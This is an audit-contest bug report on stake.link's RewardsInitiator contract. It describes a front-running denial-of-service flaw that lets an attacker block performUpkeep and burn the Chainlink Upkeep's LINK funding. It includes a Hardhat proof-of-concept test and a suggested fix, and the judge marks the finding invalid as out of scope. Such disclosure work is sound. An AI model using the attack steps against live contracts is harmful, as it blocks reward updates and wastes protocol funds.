stake.link
stake.link
DeFiHardhatBridge
27,500 USDC
View results
Previous Next
Submission Details
Severity: high
Invalid

`RewardsInitiator`'s Chainlink Automation implementation is vulnerable to DOS attack and `LINK` grief

sobieski

Summary

The RewardsInitiator contract implements Chainlink Automation to trigger certain actions on time and custom logic basis. The custom logic trigger's design contains logic flaws that allow the attacker to grief the contract and quickly drain all LINK funds from the Chainlink Automation Upkeep.

Vulnerability Details

The RewardsInitiatior::checkUpkeep() method iterates through the pool strategies. If the deposit change is not negative in any of the strategies, the method will return false, indicating that the upkeep is not needed. In other case it will return true, along with the list of IDs of all the strategies which deposit change is negative.

The aforementioned list of IDs is then passed to RewardsInitiator::performUpkeep() method. To determine if the upkeep should still be performed, the method iterates through the list of provided strategies. If the deposit change of any of the provided strategies is no longer negative, the method reverts. In other scenario, the rewards of the provided strategies are updated, as one can see in the code snippet provided below.

/**
* @notice Updates rewards in the case of a negative rebase
* @param _performData abi encoded list of strategy indexes to update
*/
function performUpkeep(bytes calldata _performData) external {
address[] memory strategies = stakingPool.getStrategies();
uint256[] memory strategiesToUpdate = abi.decode(_performData, (uint256[]));
​
if (strategiesToUpdate.length == 0) revert NoStrategiesToUpdate();
​
for (uint256 i = 0; i < strategiesToUpdate.length; ++i) {
if (IStrategy(strategies[strategiesToUpdate[i]]).getDepositChange() >= 0) revert PositiveDepositChange();
}
​
stakingPool.updateStrategyRewards(strategiesToUpdate, "");
}

The process of checking the provided strategies again to determine if the deposit change is still negative is flawed. As mentioned previously, this method will revert if any of the provided strategies' balance is not negative, thus not updating the rewards of any of them.

The attacker can easily achieve that scenario by front-running the RewardsInitiator::performUpkeep() method call with the funding of one of the strategies, making its deposit change not-negative. As such none of the strategies will be updated.

Below is the snippet from the code of one of the strategies, VaultControlStrategy.sol (out-of-scope for this audit but relevant for the in-scope issue):

/**
* @notice returns the deposit change since deposits were last updated
* @dev deposit change could be positive or negative depending on reward rate and whether
* any slashing occurred
* @return deposit change
*/
function getDepositChange() public view returns (int) {
uint256 totalBalance = token.balanceOf(address(this));
for (uint256 i = 0; i < vaults.length; ++i) {
totalBalance += vaults[i].getTotalDeposits();
}
return int(totalBalance) - int(totalDeposits);
}

As one can see, funding the strategy with enough token between the RewardsInitiator::checkUpkeep() and RewardsInitiator::performUpkeep() calls is enough to make the VaultControlStrategy::getDepositChange() return a non-negative number, therefore making the VaultControlStrategy::performUpkeep() revert.

After the RewardsInitiator::performUpkeep() method reverts because of the strategies' balance was no longer negative, the subsequent RewardsInitiator::checkUpkeep() call will still return true - as there are still some strategies waiting for an update. Therefore, the Chainlink Automation will try to perform the upkeep again the very next block. The attacker can easily repeat the process described above: withdraw the funds before RewardsInitiator::checkUpkeep() call and fund them back before RewardsInitiator::performUpkeep() call.

As such, the attacker will DOS the contract, preventing any update to any of the strategies. Moreover, they will force the Chainlink Automation to retry the RewardsInitiator::performUpkeep() call, effectively griefing the LINK funding from the Upkeep.

The POC for the aforementioned scenario is provided below. Please paste this test inside the rewards-initiator.test.ts file and execute it with yarn test command.

it.only("performUpkeep can be blocked by the attacker", async () => {
// [1] All 3 strategies experience the negative deposit change
await strategy1.simulateSlash(toEther(10))
await strategy2.simulateSlash(toEther(10))
await strategy3.simulateSlash(toEther(10))
​
// [2] The checkUpkeep() returns true, along with the 3 ids of the strategies ([0, 1, 2])
const firstCheckUpkeepResponse = await rewardsInitiator.checkUpkeep('0x00');
const upkeepNeeded = firstCheckUpkeepResponse[0];
const strategiesNeedingAnUpdate = decode(firstCheckUpkeepResponse[1])[0].map((v: any) => v.toNumber());
assert.equal(upkeepNeeded, true);
assert.deepEqual(strategiesNeedingAnUpdate, [0, 1, 2]);
​
// [3] The attacker funds one of the strategies, making its depositChange positive
await token.transfer(strategy2.address, toEther(100));
const depositChangeAfterTheFunding = await strategy2.getDepositChange();
assert(depositChangeAfterTheFunding.gt(0));
​
// [4] The performUpkeep() method called by ChainLink Automation reverts
await expect(rewardsInitiator.performUpkeep(encode([0, 1, 2]))).to.be.revertedWith(
'PositiveDepositChange()'
);
​
// [5] The remianing strategies have not been updated
assert.notEqual(fromEther(await strategy1.getDepositChange()), 0);
assert.notEqual(fromEther(await strategy3.getDepositChange()), 0);
​
// [6] The checkUpkeep() method still returns true
const secondCheckUpkeepResponse = await rewardsInitiator.checkUpkeep('0x00');
const secondUpkeepNeeded = secondCheckUpkeepResponse[0];
assert.equal(secondUpkeepNeeded, true);
})

Impact

The RewardsInitiator contract can be DOSed, preventing the Chainlink Automation from executing the update. The LINK funds from Chainlink Upkeep can be griefed.

Tools Used

Manual review

Recommendations

Inside the RewardsInitiator::performUpkeep() method, instead of reverting if any of the strategies' deposit change is not negative, execute the update of those with negative change:

+ uint256[] private strategiesWithNegativeChange;
​
function performUpkeep(bytes calldata _performData) external {
address[] memory strategies = stakingPool.getStrategies();
uint256[] memory strategiesToUpdate = abi.decode(_performData, (uint256[]));
​
if (strategiesToUpdate.length == 0) revert NoStrategiesToUpdate();
​
for (uint256 i = 0; i < strategiesToUpdate.length; ++i) {
- if (IStrategy(strategies[strategiesToUpdate[i]]).getDepositChange() >= 0) revert PositiveDepositChange();
+ if (IStrategy(strategies[strategiesToUpdate[i]]).getDepositChange() < 0) strategiesWithNegativeChange.push(strategiesToUpdate[i])
}
​
- stakingPool.updateStrategyRewards(strategiesToUpdate, "");
+ stakingPool.updateStrategyRewards(strategiesWithNegativeChange, "");
+ delete strategiesWithNegativeChange;
​
}

Additionally, please consider implementing update interval into the RewardsInitiator::checkUpkeep() method, so the subsequent upkeeps can be made only after some specific amount of time has passed between them. A good example can be found in Chanlink Documentation.

Updates

Lead Judging Commences

0kage Lead Judge
over 1 year ago
0kage Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Out of scope

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.